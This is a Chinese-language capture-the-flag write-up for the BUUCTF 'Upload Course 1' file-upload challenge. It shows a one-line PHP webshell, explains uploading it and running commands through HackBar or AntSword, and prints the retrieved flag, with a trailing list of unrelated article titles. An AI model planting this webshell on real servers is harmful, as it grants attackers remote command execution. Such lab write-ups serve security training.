当前位置: 首页 > news >正文

BUUCTF:BUU UPLOAD COURSE 1[WriteUP]

构造一句话PHP木马

<?php @eval(system($_POST['shell'])); ?>

利用eval函数解析$shell的值使得服务器执行system命令

eval函数是无法直接执行命令的,只能把字符串当作php代码解析

这里我们构造的木马是POST的方式上传,那就用MaxHacKBar来执行

创建好的木马上传后记下这个路径:


 点击"Load URL"并且把刚才我们上传的文件路径粘贴到后面

接下来把我们要执行的命令以POST的方式赋值给shell就可以命令执行了

最后也是在根目录下找到了flag

cat一下flag


经测试这里发现直接用一句话木马,用蚁剑连接也是可以成功的

 

也是可以在根目录找到flag

 


flag{f0884217-495e-4d3f-b825-2f3b55a223a2}

http://www.lryc.cn/news/335412.html

相关文章:

  • 从零开始学习:如何使用Selenium和Python进行自动化测试?
  • 【linux基础】bash脚本的学习:定义变量及引用变量、统计目标目录下所有文件行数、列数
  • 算法四十天-删除排序链表中的重复元素
  • Linux-等待子进程
  • 【LeetCode热题100】【二叉树】二叉树的最大深度
  • 想做产品经理,应该选择什么专业?
  • [机器学习Day 1~3
  • Day106:代码审计-PHP原生开发篇文件安全上传监控功能定位关键搜索1day挖掘
  • 数码视讯Q7盒子刷armbian遇到的坑之二
  • vue2 使用vue-org-tree demo
  • 【数据结构】考研真题攻克与重点知识点剖析 - 第 7 篇:查找
  • 【数仓】DataX 通过SpringBoot项目自动生成 job.json 文件
  • 注解式 WebSocket - 构建 群聊、单聊 系统
  • 无线游戏手柄的测试(Windows11系统手柄调试方法)
  • 计算机的各种转换
  • Git分布式版本控制系统——Git常用命令(一)
  • 【Node.js】短链接
  • 详解 Redis 在 Centos 系统上的安装
  • C语言 | Leetcode C语言题解之第17题电话号码的字母组合
  • wordpress全站开发指南-面向开发者及深度用户(全中文实操)--wordpress中的著名循环
  • libVLC 提取视频帧使用QGraphicsView渲染
  • 大厂Java笔试题之判断字母大小写
  • 场景文本检测识别学习 day02(AlexNet论文阅读、ResNet论文精读)
  • 4.9日总结
  • python第四次作业
  • 工业通信原理——Modbus-TCP通信规约定义
  • Vue - 4( 8000 字 Vue 入门级教程)
  • 5.118 BCC工具之xfsslower.py解读
  • Spark编程基础
  • React 状态管理:高效处理数组数据的5种方法